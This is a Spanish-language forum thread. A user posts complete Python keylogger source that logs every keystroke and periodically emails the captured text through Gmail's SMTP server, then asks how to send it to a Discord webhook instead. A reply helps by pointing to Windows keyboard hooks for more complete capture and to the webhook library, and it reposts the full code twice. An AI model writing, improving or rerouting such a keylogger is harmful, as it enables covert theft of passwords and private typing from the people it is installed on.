Tengo el siguiente Keylogger, es capaz de enviar las pulsaciones a través del protocolo SMTP a una cuenta de GMAIL, en vez de usar dicho protocolo, quiero hacer que las pulsaciones sean enviadas a una Webhook del sitio Discord, usando la librería import discord_webhook.
¿Alguien puede ayudarme?
Código:
import keyboard as key
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import datetime
Text = ""
while True:
Recorded = str(key.read_event())
if Recorded.__contains__('up'):
Recorded = Recorded.replace('KeyboardEvent(', '')
Recorded = Recorded.replace(' up)', '')
if (len(Recorded)>1):
Text = Text + " " + Recorded + " "
else:
Text = Text + Recorded
if (len(Text)>=100):
try:
msg = MIMEMultipart()
password=""
msg['From']=""
msg['To']=""
msg['Subject']="Report "+ str(datetime.datetime.now().date())
msg.attach(MIMEText(Text, 'plain'))
server = smtplib.SMTP('smtp.gmail.com: 587')
server.starttls()
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
Text=""
except:
print("Error")
Mod: Obligatorio el uso de etiquetas GeSHi para codigo.
Buenos dias,
Estás usando ¿Python? ( o al menos eso creo :rolleyes:). No sé que funciones de Windows usa la libreria que usas para detectar teclas, pero en caso de que no use las funciones de hook del sistema puede que se te escapen muchísimas teclas :xD Capaz le puedes hechar un ojo y ver a que funciones llama.
Por otro lado creo que tienes la documentación necesaria aquí (En caso de que sea Python) referente a Discord_WebHook:
https://pypi.org/project/Discord-Webhooks/
Windows hook: https://docs.microsoft.com/en-us/windows/win32/winmsg/hooks
Espero haberte ayudado en algo.
PD: Por favor utiliza las etiquetas de código para los códigos, los hacen mas leibles, fijate la diferencia.
import keyboard as key
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import datetime
Text = ""
while True:
Recorded = str(key.read_event())
if Recorded.__contains__('up'):
Recorded = Recorded.replace('KeyboardEvent(', '')
Recorded = Recorded.replace(' up)', '')
if (len(Recorded)>1):
Text = Text + " " + Recorded + " "
else:
Text = Text + Recorded
if (len(Text)>=100):
try:
msg = MIMEMultipart()
password=""
msg['From']=""
msg['To']=""
msg['Subject']="Report "+ str(datetime.datetime.now().date())
msg.attach(MIMEText(Text, 'plain'))
server = smtplib.SMTP('smtp.gmail.com: 587')
server.starttls()
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
Text=""
except:
print("Error")